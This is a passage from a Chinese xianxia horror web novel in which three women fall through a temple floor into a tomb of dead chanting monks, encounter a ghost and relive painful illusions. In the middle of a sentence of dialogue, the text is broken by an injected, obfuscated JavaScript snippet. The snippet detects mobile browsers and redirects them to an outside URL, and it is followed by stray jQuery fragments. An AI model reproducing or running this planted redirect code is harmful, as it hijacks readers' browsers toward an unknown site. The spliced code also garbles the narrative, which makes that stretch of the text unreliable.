芩竹则是完全无法感同身受,她依旧如常,稳得比那没有心的布娃娃还布娃娃。 跨上最后一节台阶,芩竹站定打量了一下眼前的寺。 门前房檐遮挡的地方雪落得薄,自然也能看见下面长得乱七八糟的杂草,牌匾门环这些本该亮堂的地方都是灰扑扑的没有半点色彩,就像不是破落一月,而是一年。 她收回眼神,低头想要推门,余光却看到些杂草的痕迹。 雪稍薄的地方那草似乎是往旁边长了长,顺着看过去,就由更杂乱的枯枝挡住了,但也能发现,枯枝后面有点什么。 芩竹歪了歪头,走过去掰着枯枝向后望了眼,似乎是个小小的观,也不确定,因为那里被雪埋了大半,什么也看不出了。 “那之前供着位神仙,但谁也不认识。”麦子随口道,她掏了掏耳朵,向青云寺努了努嘴,“我先跟你们进去一趟吧。” 姜绾巴不得来的人多些,当然没问题,看芩竹走过来,赶紧左边一个右边一个臂弯搂住,然后清了清嗓子:“准备好了吗,我要开了——” 她话音落下便闭上眼,抬脚要踹门,然而却踹了个空,睁眼一看竟是旁边两个已经先一步推开了左右两片门板,正要开口控诉一下,身边两人又要跨过门槛,只好赶紧抬脚跟上。 慌慌忙开门没什么感觉,这回站在院里面了,姜绾才觉得身后有些凉飕飕的,再听着这恼人还环绕在太阳穴边的嗡嗡诵经声,真是体感比王宅还难耐。 芩竹抓着腰间的碎块,脚陷在院中的积雪里,前进两步,踩中了某个东西,脚尖拨动了下,才发现那是把扫帚。 她站在原地停住,本是想看看碎块能否指出个位置,可等了会,这碎块竟然是在半空中悬起,再是自己打着旋不知该去往哪里。 这下她也没法子了,只能说着青云寺中确有蹊跷,说不定那里还藏着个碎块的残骸。 姜绾和麦子也是在院里转了一圈大致看了看。 旁边有几个在麦子记忆里供来客休息的房间都被积雪压塌了房檐,紧贴的几间房也是时不时滑下些雪块,看着岌岌可危,院里唯一看起来安全的,也只剩前面那个佛堂了。 几人小心走到堂前,站在门槛外面向里面看了一眼。 许是现在外面阴云密布,又没有僧人收拾,里面黑漆漆的,稍显低矮的房中摆着直抵房顶的高大佛像,在这昏暗的环境中似满面慈睦地与外面鬼祟打量的三人相望。 明明并没干什么亏心事,但这会除芩竹之外的两人都是被这一照面搞得心慌,浑身一僵站着不敢动了。 芩竹跨进门槛的一条腿顿住,奇怪地向旁边看了眼,将那只脚在地面踩实,顿时,诵经声更大,肩头那个本已经“死”了许久的布人忽然挣动一下就要滚下去,被她眼疾手快捞住。 她捧着商则的脑袋试图捂住他不存在的耳朵:“忍忍。” 姜绾跟着芩竹进来,环视四周,除了佛像前的一个孤零零的蒲团之外,其余什么也没有,头顶的房梁渗着黑印,往角落的地方走,上面还竖着冰渣,正下方的地面有一大片冰印。 大概这地方之前漏过雨,天冷后冻成了冰,还没化,又跟了大雪。 简直是……处处都是没人的样子,偏偏人声恼人。 芩竹从旁边的架子上拿下一只蜡烛,抬手拈了拈蜡芯,去找姜绾点着递给麦子,自己又点了一根拿在身前,染出一圈不大不小的昏黄光晕,并没起多大作用。 姜绾搓着胳膊站在靠近门的位置,缩在墙后挡住从外面吹进来的风,纳闷道:“你说一般闹鬼不都是些哭声或低声细语吗,怎么青云寺的鬼自己给自己念咒……” 麦子拿着芩竹给的蜡烛又在佛像前面晃了一圈听她说完笑答道:“人还自己咒自己呢,人家觉得好玩不行?” 姜绾张了张嘴又闭上,怎么感觉这位姐姐说话她总是有点接不上。自我怀疑了一会,她还是发表了见解:“我就是觉得念经这些人说不定是藏在哪,装出来故意吓唬人的!” 毕竟这寺庙除了氛围奇奇怪怪,其他一切正常,很难不这么怀疑。 “放着好好的青云寺不待着,一群和尚藏起来装鬼吓人——你觉不觉得……” 麦子带着笑意的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582952|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在姜绾旁边响起。 看她的表情,就知道后半句截断的不是什么好话,姜绾瘪了瘪嘴,转过去看向芩竹,决定不理她了。 芩竹能听见她们那头打趣的话,她照常当成热闹的背景音放在脑后,弯腰看着佛像下的须弥座。座上花纹并不那么繁杂,卷草纹下圭脚的位置上刻着如意纹云样式,最边上还有个圆形的看不出花样的纹,像是新刻上去的,还很浅。 蜡烛的光照到的位置范围总归是小些,她蹲下身,伸手轻轻拂过上面的祥云纹,又向后离开身子,稍远些打量着整体。 总觉得,这里的花纹好像歪了。 芩竹没有多想,伸着蜡烛从圭脚边向外照去。 大门对着佛像,芩竹就蹲在像的边角,蜡烛那点火光被屋外的风吹得乱飘,晃得眼晕头也晕,但她还是在那里看到了一线不惹人注意的痕迹。 她停下动作,向前挪了挪步子,护着火光趴在那处看着——有一条黑线从须弥座下面的尖角伸出来大约三步的位置,又直角拐了弯延伸去大门的方向。 可为何是从座下一角的地方伸出来的呢? 她站起来,又转去佛像另一头蹲下,颇为艰难地才找到那条线。倒不是因为别的,而是这头的黑线贴着须弥座的边伸出来的,所以开始的时候有些难找。 啊,所以是座放斜了,才会一边压到黑线一边贴着线,但万一是线斜了呢?芩竹又站起来走到另一头。 她在这边跑来跑去,那边的姜绾看得一头雾水,边向这里走边问:“怎么了这是?” 这边芩竹摸着石座上下也看出了些门道。 之前觉出的那略显歪扭的花纹不是因为整个座放斜了,斜的只有最下面的那层如意祥云而已。 她收回手,搓了搓手指上的灰,刚要回答姜绾的话,麦子忽然扬声向这边说:“那我先走了,你们若要下山可以在石阶口等我。”说话间从墙后缓慢走到了门边的位置,还回过头来看了看这边。 姜绾看了麦子一眼,点点头表示知道了,余光看见芩竹也站起来,便凑过去看她要做什么,就见这位姐姐面无表情抬脚朝那佛像座上就是一脚。 啊呀呀!这动作是否有些不敬…… 可这话姜绾终究是没得及说,出口的第一个音就被脚下猛然晃动震得重新咽进了胃,为稳住身形慌忙抓住芩竹的胳膊。 站在门边的麦子也没能幸免,而且那头发出的动静似乎更大一些,“嗵”的一下门槛边的地面直接陷下去了半截。她扶着门板才不至于摔倒,转头厉声道:“你干什么了!” 芩竹也是一头雾水,从乱颤的火光中仔细观察了下,才看出陷下去的地面是刚刚黑线圈出的那一块,刚好是门口到佛像三人站着的位置。 原来那不是什么“线”,而是一道拼接的痕迹。 她收回眼神,拉着姜绾准备走出这个下陷的地板:“我也——” 突然,地板又向下塌了一段,令人牙酸的吱吖声响了一下,还不等三人赶紧向外爬,靠近佛像那边的地板忽然像是失了拉力,接着整片木板倾斜骤然下塌。 失重感瞬间袭来,姜绾惊叫一声,芩竹一手扳着高出的地板边缘,一手下意识去拉她,却敌不过猛然降落的重量,也被带了下去。 门边的麦子则是根本没反应过来,坠落前匆匆拽了下门槛,也终是没有拉住,顺着倾斜的地板滚落下去。 20. 青云寺 “啊——” 长而尖的惊呼充斥着狭窄的石道,声音在石壁上碰撞几次重新反弹至发声人的耳朵里,再跟着几道沉重落地声转换成一声短促的痛呼,随即被拉扯成黏黏糊糊的哀嚎。 “疼死我了……”姜绾仰面朝上,从芩竹臂弯里滚出来,揉着脖子嚷道:“能不能消停点,别念了!” 她说的是还是那阴魂不散的诵经声。 从她们几个人掉下来时,那经声便越来越清晰,声儿还大,让姜绾觉得自己好像滚着滚着就要被超度往生了似的! 芩竹撑着身子坐起来,看了看现在自己所处的位置,是个大约能容纳五个人的低矮小室,她都不一定能站直身子,憋闷非常而且幽暗,唯一一点能使她艰难视物的微弱光亮来自身后,就是她们滚下来的地方。 那是个向上看不到头的陡坡,口又小又低,若想原路返回,肯定行不通。 她按了按肩膀,忽然旁边传来一些声音,转头望去,是麦子扔了包袱,正弯腰探身观察着那石道口,企图爬回去。 对了,麦子还要给她弟弟送东西。而她这一脚搅乱了人家的计划。做错事,得道歉。 “抱歉。”芩竹说。 麦子观察无果,一屁股坐在地上,嗤笑一声,没好气道:“就你这两个字,能让我出去?可笑。” 芩竹听得懂她的阴阳怪气,但事实如此,自己真是没法办送她出去。 两人间的气氛变得古怪。 地方就这么大点,当事人两个,剩下那一个便是这氛围无辜的受害者。 姜绾脖子还抻着,感觉不对赶忙爬起来。 她知道芩竹大抵天生就是那德行,想来也不会有什么愧疚需要自己开解,于是干脆略过芩竹,捡了麦子扔在一边的包袱挪到那人身边,清了清嗓子软着声音道:“小麦姐姐,那个,芩竹也不知道会这样,她心里也过意不去——” 看了眼芩竹,那人还是那张生人勿进的脸,见她看过来还眨了眨眼表示莫名,姜绾抿了抿嘴尬笑两声,继续转向麦子:“姐姐有气你就骂她,打两下也行。气撒完了咱们还得一起找出路呢不是?” “这里怪渗人的……”姜绾睁着眼小心翼翼看向麦子,对方皱着眉,满脸烦躁,她一时间也拿不定主意,转而看向芩竹,后者也慢慢挪到她们两人旁边。 麦子的确心里有气,她本来就为弟弟的事情烦心,好意带她们到这没人愿意来的地方,却掉到这个鬼地方,能不能活还不一定。于是越想越气,甚至气自己就不该没事惹上这两人,发什么善心。 可再一想,人都领来了,出什么事大概也是天意如此,怨不得别的,何苦在活着时候与自己较劲,还和这两个自己带来的人较劲。 她眉心蹙了蹙,垂头抹了把脸,在抬眼时看见了面前属于芩竹那张平静的面孔,真是……麦子回想了下,这人自从见面以来,就没有多余的表情。 “你跑过来,是让我出气的?”麦子也跟着她一同板着脸。 芩竹看看姜绾,点头,语气淡淡的:“嗯。” “行。”麦子说完,半点不带犹豫就抬起手。 姜绾在她旁边“哎”了两下,手欲伸不伸最后选择捂住自己的脸,悄声道:“要不下手轻点?”毕竟谁没看过麦子一铲子打死尸的样子。 完了完了,芩竹真的因为自己欠揍被打了,她还没拦住!那这一趟跟着她出门不就白来了? 姜绾这般想着,又迅速放下手,却看那只抬起的手在芩竹额头的位置停住,弹了个响亮的脑瓜崩。 姜绾:呀。 芩竹摸摸额头,看着麦子:“气消了?” “你再说话,我就该气笑了,”麦子没回答这个问题,抽来姜绾怀里的包袱,回身看看四周,道,“找路。” 姜绾手心攥了一下,想起来自己的东西,转身在地上找了半天,从角落乌漆嘛黑的地方拽来自己的包包,重新整理了一下背在肩膀上,然后朝芩竹一挥手,眨向她眨了下眼:“没事啦。” 芩竹赶忙起身跟上,又不小心撞到发顶,悻悻弯下腰,捡起滚去一边的两块蜡烛,重新点燃递给旁边的两人。 小室半大点,点了火便能看清全部,也是这时候才发现,在身后没人注意到的小角,火光映照出了一块黑黢黢半腿高一人宽的小洞。 “是我的错觉吗,为什么地下面声音更大啊!” 姜绾说的是那震响在整个石室的诵经声,这声音听得她浑身燥意不止,要不是还有那包袱里的法器拉着神经,她真的想找个东西泄泄愤。 “不是错觉……”麦子是最靠近那个小洞的人,她蹲着身子望向洞内的动作停住,然后转回来朝姜绾笑了下,“姜绾,或许你之前说的是对的。” 什么对的?姜绾一头雾水,转脸向芩竹求知。 而后者更是莫名,蹲下来凑到麦子旁边说:“没别的路,从这出去吧。我打头。”她说着,看了麦子一眼,对方没有拒绝,主动让了位置,示意姜绾在中间。 洞口的高度刚好够她们爬行,身侧全是未经打磨的粗糙石块,大概是凿洞的人匆匆赶工出来的。 里面黑暗崎岖,举着蜡烛不太好前进,芩竹爬得很慢,而且那嗡嗡震着耳膜的声音在这里竟让人觉得连呼吸都有些艰难,因此这条道也显得格外长。 姜绾都不敢抬头,生怕入眼便是压着头顶的石壁和前面一无所知的黑暗,尽管她身前还有个人,但架不住她想象力太强,可又不敢掉队,只能一个劲的向前,哼哧哼哧的。 三人互相隔着一个身位,并不太容易听见前一个或后一个的声音,就是姜绾这动静,实在叫人忽略不了。 麦子爬了一身汗,声音幽幽飘出来:“我是鬼嘛?让你这么害怕。” 姜绾本来被她这突然出口惊得一个激灵,待听清内容后又是一阵无语,放开抓住芩竹脚腕的手,继续老实爬行:“累……累了。” 芩竹得她撒开脚踝,稍停下动作在面前晃了下蜡烛,偏头道:“快了。” 快一炷香在这种压抑失光的地方待着谁都受不了,有她这句话就连麦子都松了口气,提起些精神。 芩竹到底没骗人,很快,她就看见了眼前火光照的范围变得大了些,说明前面到了出口,但也还有另一个问题,说明下一个地方也是和这洞内一般黑,而且里面有长什么也不清楚。 她心想着,动作放得慢了些,缓缓靠近洞口,顿了下忽然就明白了麦子说的那句话,转头提醒后面的人:“念经的那些人好像在这里。” “怪不得呢,我脑袋都快炸了!”姜绾身后怏怏回答。 芩竹伸手摸了摸出口的洞边,摸索着爬了出去,还真的是黑,一点光都没有,仅仅自己胸前这小块蜡烛的光,什么也照不出来,但就是这样的环境,似乎还有十几个或几十个人无休止的念着经……真的不会疯吗? 什么都看不见,可现下芩竹能确定的是,这地方能站直,且没有危险。 她转过身向洞口摇摇蜡烛,说:“先出来吧。”然后将两人接出来。 “这声音,真的要把我念吐了……”姜绾悄声感叹了下,在这样两手不见五指的地方,紧紧缩在前面两人后面,想说这些人怎么见有人来了还在念,“他们被威胁了么——” 话还没说完,姜绾攀着芩竹肩膀的手忽然像是什么东西轻轻碰了一下,她吓得立刻窜去麦子身边,将芩竹本人搞得一愣,还不等开口关怀一番,颈间猛地爬上一股阴寒。 这感觉熟悉,芩竹下意识抬手要按住肩头的布人,却看身侧忽然闪出一片火红,那红色真的如火一般,在空中开出几团火花之后,突然狠狠砸在地上,随着一声巨响爆开巨大的红光,宛如火浪从中间向四面八方滚过,光亮瞬间照亮了芩竹她们所在的地方。 依旧是简陋的石室,却比上一个大了不知多少,坑坑洼洼的石壁连着宽阔的顶,而眼前扭曲的红浪后面,排排端坐着大约几十个僧人,皆是半垂着头,无知无觉地念着。 姜绾和麦子惊呆在原地,愣愣看着眼前的场景。 红浪硕大,叫人心惊的寒凉充斥在整个石室,芩竹眼看着这些红像一只只大手从地面腾空,缠上眼前那些念经僧人的脖颈,力道之大足以将人活活捏死,更不用说那红中藏着得宛若尖刀般的锋利阴气。 可石室中的诵经声依旧,没有任何影响。 这些僧人竟都早已死去了……是谁施了什么咒术让他们变成这个样子? 低沉的诵经声阵阵,芩竹挤了挤困顿的眼睛,忽然听见身边传来奇怪的呢喃声,转头望去,姜绾和麦子直愣愣地盯着前面。 周边的声音似乎绕着耳廓钻进了太阳穴,震得整个脑袋顶都在颤,颤得脑中思绪如那交错晃动的麻线,渐渐缠在了一起,她们二人本来映着红光的瞳仁也慢慢失去亮光,嘴唇不自觉地跟着周边飘荡的经文念着。 芩竹自己困得慌,眼皮打着架几乎要直接睡过去,心道不好,下意识想要去寻酒壶,眼前的红光又是一亮,接着腰间的碎块急促地震颤,敲击声一下比一下快,她不得已又先抬手按住,而目光却是被前面火光中心的东西吸引。 是个和红光融为一体的人,原本该直直站着的高大身影正抱着脑袋晃着,像是难受极了,逐渐伏在地上,没有目的地向远处爬了两步,又重新抱着头蜷缩起来。 滚滚红浪自他身上涌出,还在四散,却堪堪停在芩竹几人脚前半步的位置。 这些“大手”叫嚣着伸长想要攀上她们的身躯,可绷出“青筋”都无法在前进一丝,像是被什么东西硬生生扯住了。 她眼前忽然清明了些,脑袋不是那么昏沉,从身上下摸了两下,没有找到那个布人,又看看那一身红衣的男人,想来便是商则。她抽空给自己灌了一口酒,转头摇了摇旁边疑似中邪的人,没有一点作用,这两人依旧口中喃喃,目中空洞。 芩竹定了定神,剑指点在两人肩头后背,默念口诀,指尖点过的地方炸出金光,最后右手在二人眉心沉沉一指,念出最后一句:“……三魂永久,魄无丧倾!”* 叮铃——似有道清铃细响声传出,竟完全盖过了室中无处不在的低语,面前两人眨眨眼,猛地回过神来。 看见她们没事了,芩竹又转去看那地上滚来滚去的商则,留下一句“此地不宜久留”匆匆踏进几步前的红浪。 红光似火,却完全没沾上火焰的半处优点,阴寒逼人,隔着靴子都能感到从脚下渗进来的透骨的凉,漫上一身鸡皮疙瘩。
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他还是什么也看不清,只能看到个浅色的虚影,他拧了拧眉,歪过脑袋像是在辨认,然后这影子变得清晰,玉簪挽髻长发披散,一身白衣高不可攀。 这身影的主人在他心底里像是格外熟悉,熟悉到商则只消一眼便醒了神,呆愣眨了下眼,视野中又变回了那片通红,而眼前,是抹近在咫尺的绿。 “芩竹。” 芩竹应了声“是我”,然后攥起手里的符纸,试探着想要掏出那个布人,刚有些动作,手便被攥住了。 竟然是实体。 这地方太古怪了,就算是阴宅都没有如此浓郁的气足以支撑他化出实体这么久,而这里竟然还能让这些阴气涨出来…… 芩竹不语,垂眸看着眼前的人,他的神态迷茫,瞳孔没有定点的在她身上乱颤,明显就是看不见的样子,可这只手,就是准确被他握住了。 第一下抓得很重,带着慌乱,而猛地抬起手支撑不住他半俯的身子,于是整条手臂拽着她的手向下落,手肘砸在地上,而他吃痛脱力,自己的手眼看要滑出去,又被他着急重新往上攥了攥,最后还是芩竹长了些眼色,将胳膊放得低了些任他拿着,商则感觉到了,于是小心放轻动作,改虚虚握着。 两人身边的冷火都没有停过,烧得愈发旺,眼前僧人的□□甚至都开始逐渐消失,芩竹隔着晃动的视野看着商则,问他:“怎么了。” “你是芩竹?” 这是什么问题。芩竹点头,又想起他可能看不到,于是口头认领。 面前人虽是迷茫,可眼睛一眨不眨地看着她,表情是芩竹品不出来的意思,像是急切又像是难过,亦或是珍惜? 想出这个词的时候芩竹也是有些疑惑,再看商则时只觉得自己为什么要和一只着相的鬼如此较真。 于是,她伸出另一只手盖住了商则的上半张脸,手中皱巴巴的符纸将本该贴合睫毛的手心隔开,商则顿了顿,就着这个姿势没动。 芩竹则是趁他消停扭头看去,结果没找到姜绾那两人,懵了一瞬刚要喊,侧边便响起姜绾稍大点的气声:“这呢!”循声望去,发现了旁边贴着墙根艰难行走的两人。 因着商则有意控制,这红火能差一些不伤到那两人,但碰到也是够呛,麦子手背刚刚不小心擦过,便是一阵冰凉的灼烧感,顿时一阵发麻直让人想着手臂会不会废掉了。 “我们快找到出口了,你让那家伙忍忍,别乱发疯啊!”姜绾双手拢在嘴边,朝她道。 芩竹听见了,商则势必也能听见,她低头看了眼这半晌不动的人,这人现在几乎侧躺在了地上,一只手还牵着她,另一只手抵在胸口,紧紧攥着拳。 忽然捂着商则脸的那只手下传来些小小震动:“我不动,拿掉吧。” 芩竹移开手,下面商则皱着脸,一只眼睛闭着,一只眼睛半睁着抬眼看过来,润着水汽,看过来时可怜兮兮。她看了下手里的符,原是捏皱出了一角,大概是刚好戳在眼皮上。 她把符挪到商则眼前给他看:“没有贴,我只是盖着,它应该戳到你了,抱歉。” 商则只是看了一眼,眼神便移去旁边的另一只手,说:“不疼。” 两人和两个木头桩子一般干巴巴地说完了一段话,却谁也不尴尬,芩竹还因为腿麻,换了个半蹲的姿势,叫远处偷听的姜绾十分震惊。 她咂着舌退到麦子身边,摇头感叹着想将刚才看到的事分享出去,手肘一戳旁边没反应,扭头一看,麦子不知道在发什么呆。 “小麦姐姐?”姜绾奇怪地凑过去,看那人似乎正盯着脚下石板看,自己刚看没两眼,麦子已经回过神来,手上用力扳着面前石壁上的凸起,对她道:“这处有风,看能否将这个打开。” 姜绾只来得及看到石板上似乎是个花纹样式,具体长什么样还没看清就被麦子下一个话题拉过去,忙着撬墙。 “哐啷”一声,芩竹抬头,远远看到对面有扇略厚的石门挪开了一条缝,似有光亮泄出。姜绾对她使劲招手:“快来,找到路了。” 21. 百人墓 进来的石门这头有个凸出的长条,芩竹她们来到这间石室便立刻拽着它合上石门。关上门,缝隙消失,石室瞬间安静,只剩下几人不规律的喘气声。 “终于听不见了,吵得我想咬人。”姜绾叉着腰想寻个地方蹲下身缓缓,结果转身一看,石室正中间摆着个黑沉沉的朴素棺木,姜绾愣了下,退后两步挤到芩竹和麦子中间。 芩竹刚把商则按回布娃娃里,感到她的动作回身望去,也是顿了下,耳边传出麦子的幽幽叹息:“咱们原来是掉到墓里了……” 眼前的石室比刚才的石室要小许多的地方,整体像倒扣的碗,除了中间那叫人难受的棺材之外,“碗壁”上还雕着长相可怖的怪物,分别占据了八个方位,每个方位上嵌着颗发光的珠子,应该是夜明珠,刚够她们勉强视物。 姜绾环视着八面的雕像,弱弱道:“这些难道是镇墓兽?我怎么一个都不认识?” 芩竹瞥了眼这些像,心里有了些猜测,就听麦子开口解释:“我认得几个,祸斗,蜚……还有那个你肯定耳熟,是穷奇。” 镇墓兽是为震慑鬼怪,保护墓主不受鬼魅邪佞的侵扰,大多是些神兽,但现下这里全是传说中的凶兽,就突然有了些黑吃黑的意思,难道不怕这些邪佞被凶兽带的在墓中造反? 芩竹稳步上前,靠近那座棺材,想看看这位墓主是何方神圣。 棺材无盖,凑近乍一看里面好像什么也没有,只有站在边上低头才看见,里面孤零零躺着个草人,依旧是用铜针钉着,身上还裹着张写了字的纸。 和王宅那个草人一模一样,那这里面会不会也有个碎块呢?但自己腰间的东西并没有响啊? “里面有人吗?”姜绾颤巍巍的声音传来,芩竹摇头,在那边惊恐的视线下,伸手从棺材里把针连带草人一同拔了出来,小心撕掉上面那张纸,递给姜绾,“看看。”自己则是在草人肚子里掏着。 麦子看着这边两人诡异的动作,晦气之下主动跑去一边转悠。 姜绾虽然也有点膈应,但只是拿张纸还是适应些,吞咽一下抚平手上的纸垂眼看着,然后看着看着又觉得熟悉,说:“这不是上次从那谁家里看的吗?嗷嗷,这次看清了,正宁二年……后面有点糊。” 芩竹眼中划过一抹疑问,姜绾的声音随之而来:“王红有那么大吗?” 之前王家草人中纸条上的生辰她们都默认那是王红,王红死时是正宁十九年,按这上面的来看,当时她已经十七了,但在幻境中见到那个瘦小女孩显然不可能是那个年龄。 所以是她们猜错了,这生辰写的另有其人,还是,这也不是谁的诞生日子? 正想着,麦子大声唤她们:“发什么愣呢,这雕像下面有个通道。” 什么线索也没有,再想也是徒劳,而且翻了半天芩竹也没在这个草人身体里找到碎块,于是拿着针返回到棺材边,想说再重新给他扎在这,被姜绾拦住了。 忽然芩竹想起了上一个草人,问她那东西后来怎么样了,姜绾正掏着火折子给她,随口道,烧了,还让她把这个也点着。芩竹看了看针,还是听了姜绾的话,放在棺材里点着,才去看麦子说的通道。 那个雕像下面有一个半人高的石座,把挡住的一块板扣开,里面是空的,和刚才那种石道很像,所以麦子才觉得它是能走的路,况且这里半大点地方,石壁都是连在一起连缝隙都没有,也找不到其他路了。 于是三人商量了一下,照常是芩竹打头,拾起差点被抛下的蜡烛,钻进了这条通道。 通道最初只能蹲着走,宽度可以并排蹲下两个人,五步过去,就能半弯着腰直起身了,只不过前路依旧看不到头,黑漆漆的,蕴含着未知的恐惧。 走着走着,芩竹忽然停下动作,她盯着眼前的通道,不知怎么,她总觉得那里像是个黑色的漩涡,正打着不轻易看见的旋涡想要将她们吸进去。 手指被蜡油滴到,瑟缩了一下,芩竹扭头看了眼快要燃尽的蜡烛,转头问:“走了多久?” 麦子:“快半个时辰。” “这么久……咱们是不是——”姜绾想说是不是走错了,出于种种原因,又及时止住了,可她不说,在场的几人也知道,于是通道陷入死寂。 毕竟也算是自己造成的这种氛围,姜绾还是想要补救一下的:“可能咱们没看全,其他座底下说不定也有路呢,是吧。” “快回快回,别废话了。”麦子看她说得干巴巴,也不难为她了,着急招呼着两人返程,索性这一路没遇上什么怪事,也是一条路通到尾,就连姜绾都感叹“幸好幸好”。 芩竹偏头吹了下聚在蜡芯周围的蜡油,伸高手给前面那两个照明,走时便不自觉地盯着那昏黄的光亮多看了两眼,她总觉得哪里怪,可又说不出是哪,就像刚刚眼前那种黑暗的旋涡,此时此刻,芩竹在返程的路上竟也感觉到了。 鼻间飘来一股异香,来源像是手上的蜡烛,芩竹拿了一路第一次闻见味道,开始本是无所谓,后猛然反应过来,这是又碰上什么了……她首先想到的就是去看前面两人,然而她的手却没能挨到她们的肩,周边已然换了个景象。 香味还在,这之外还有泥土雨水的清香,耳边是噼里啪啦嘈杂的雨滴打在树叶上的声音,芩竹眯开眼睛,眼前模糊不清的视野里,最近处的,是一片被雨水不住拍打的枯叶。 哦,她现在躺在地上。 一道白光闪出,林子便被照亮了大半,过了一会,接上“轰隆”一声。 这个场景换成白日,那就是在陵南常山她醒来的那天,现如今这般,难不成正是劈天雷的那日。 芩竹拧眉想要撑起身子,可是身体丝毫不受控制,她有种飘在当空无法落在实处的感觉,整个人完全不像被泥水掩盖在地面的沉重,但也没有多轻松,困得睁不开眼。 从天而降的雨滴砸在眉心,滑去眼窝,而那处聚着的雨水则是顺着眼角流在地面,这让芩竹的视野稍微清明了些,远处,好像还有个人。 那人好似也穿着红衣,芩竹尝试发出一些声音,没有用,眼睁睁看着那道红色身影在雨中消散成粒,像是钻进了地面? 芩竹这时便已经困出了重影,她用力挤了挤眼睛,再睁开时,那里多了个人,撑着伞似乎看了她很久,感觉是个中年人,却是白衣白发,见芩竹睁开眼便侧过身去,弯下腰捡起了什么,然后……然后就是一片黑暗。 芩竹深吸一口气,再缓缓吐出,鼻间的味道没有了,她才睁开眼,手上的火光还在,就是蜡烛短了一大截,再看前面两人,也是站定不知在想什么。 麦子拧着眉头表情挣扎着,好像陷入了什么痛苦的事,姜绾嘴唇小幅度的张合,芩竹靠近才听见她发出的声,再偏开头时,那人深呼几次,自己醒了过来。 “娘啊……”姜绾弯下腰拍着胸脯,芩竹不知道她经历了什么,就在后面默默给她顺着后背,就这样把那人又吓了一跳,姜绾惊恐扭过头在看到芩竹那张冷脸后长叹一声,“吓死我了,幸亏那静心咒我还记得。” 芩竹正儿八经夸她:“厉害。”然后才问,这是怎么回事。 “可能是心魔幻阵,这种地方惯会有的,再加上最开始外面那些僧人扰乱心智的行为。我那个心魔竟然是我自己死掉了,唉……”说着看向芩竹,奇怪道“你也中阵了?不应该啊。” 芩竹摇摇头,表示自己也不知道原因。她说好听点叫一张白纸,说难听点就是冷心无情。要不是内心还有个初始的念头要她心系人命苍生,怕真成了铁一般的人。这点姜绾早便在相处中察觉到了,这才觉得奇怪。 没有悲喜,那当然就没有可以牵绊住她的东西,怎么会有心魔,又怎么会被卷入阵里。 其实芩竹比没有解释她刚才的经历,不像是进了阵反而像是做了场梦,梦醒了,她也醒了。而这内容,大抵也就是她的心魔——找那个被带走的东西。现在想想,那红衣人是商则,那东西就是腰间碎块,只不过因为不明原因被搞成了这样。 她垂眸拨了两下碎块,耳边传来一道叹气声,忽然发现,姜绾这些日子真是一直在叹气。不由得转头去看,那人正对着麦子发愁:“快没火了,咱得想个法子把小麦姐姐叫醒。” 这头绞尽脑汁,而被想法子的对象,心中却是一片混乱。 她开始是穿着嫁衣,踏进了对自己来说并不陌生的人家,在那里过了两年,碰见了被师父卖进来的小七,麦子的内心恍惚了一下,然后不知自己干了什么,她们二人竟然住在了一处,每日三餐,打闹快活。 麦子忍不住笑了下,却又看到了之前的那户人家,她被抓了回去,不知又是多少年,有一日,她去探听小七的下落,得到了那人已死的消息。 怎么死的,不知道。 可她又像是知道,因为她缩在宅子里那个小屋子日日都在做梦,活的小七,死的小七,完整的小七,碎裂的小七。 麦子突然想笑,记得她幼时跟着父亲赶集时还偷看过话本摊子上的小本子,可她不识字,只能听旁边人偶尔吐槽两句。记得最清楚的,是有个嫁入深宅大院本该坐享富贵的女人疯了,变成个活鬼害了那满宅子的人。 那时候,她还跟着控诉两句,然而回去后,自己就变成被换了银子去享福的女人。如今她怕是也要疯了,从谁开始吃呢…… 正想着,耳边忽然炸出一道急呼:“你想什么呢!”这声音是少女特有的清亮,宛如一把利剑将这阴沉沉的屋子劈开了窟窿。 麦子懵着,她无儿无女,宅中也无人亲近,这声音是从哪来的? “你平时怼我那么带劲,怎么这里如此狼狈,小麦姐姐!咱们再不出去芩竹就要被蜡烛烫死了!” 这话里的信息量太大,凭麦子现在混乱的脑袋根本想不来,只听着少女巴拉巴拉着什么出去,于是愣愣地走到门前推开,然后和面前的一个瘦高男人打上照面。 麦子愣了一下,条件反射就要关门,而那头却像是提前知道她的动作,一脚踏上门板使劲一踹,力道之大将麦子也蹬倒在地。麦子慌乱之下就要爬起来,可那人便又是一脚踩上来,疼得她一时失了动作。 麦子忽然觉得累了,要不这样算了吧,反正他累了就会走了。 正当这时,那道咋呼的少女声又冒了出来,急呼呼地怒喝:“什么东西把你的脏脚从我姐姐身上拿开!啊!”发现怎么骂那人都不会住手后,尾音便带上了些无能狂怒,再转过来朝麦子喊。 “小麦姐姐!你打他啊,就这样的你一个人能打十个!那弹弓呢?随便找个凳子甩他脸上!”声音着急的仿佛挨打的是她,这次的声音字字带着回音,清楚地跑进麦子脑海里,“还手!没关系的,你只要打过他出了这扇门,之后想去哪里我们一起走,小七也能找到!” 这小姑娘真是要急死了,隐隐变成了哭喊。抽泣到最后麦子也听不清楚她说的什么了,反正就是那两句。 可是真的太疼了,她还要先努力爬起来。 麦子想护着头,可头发被抓着,听着耳边的哭声,她的思绪竟然诡异的飘远了。这个小姑娘被发现会不会出事,听她还有个同伴,她们都是特地来找她的…… 额头撞在地上,麦子眼前暗了一下,迷糊间看到眼前这个男人往一处去了,那里晃着几根烛火,刚才那小姑娘说什么?她们也拿着蜡烛。 会被他发现吗?那……也会变成自己这样子。 突然不知道那里来的力气,麦子攒了口气撑着地晃悠着站起来,抄起手边的椅子向眼前那个高大的男人抡去。没有想象中难。 “哐”的一声,椅子断掉了腿,脱手飞去了一边,那男人明显没想到麦子会反抗,表情狰狞着转身掐住麦子的脖颈掼在墙上,麦子扣着他的手艰难呼吸,心跳得飞快,快无论如何都喘不上气。 “戳他!姐姐你还能让听见吗?” 麦子听话伸手,却在半路被男人的一只大手攥住,而她另一只本扣在颈间手上的手松开,刺了过去,听见吃痛的一声嚎叫,麦子得到了喘息。 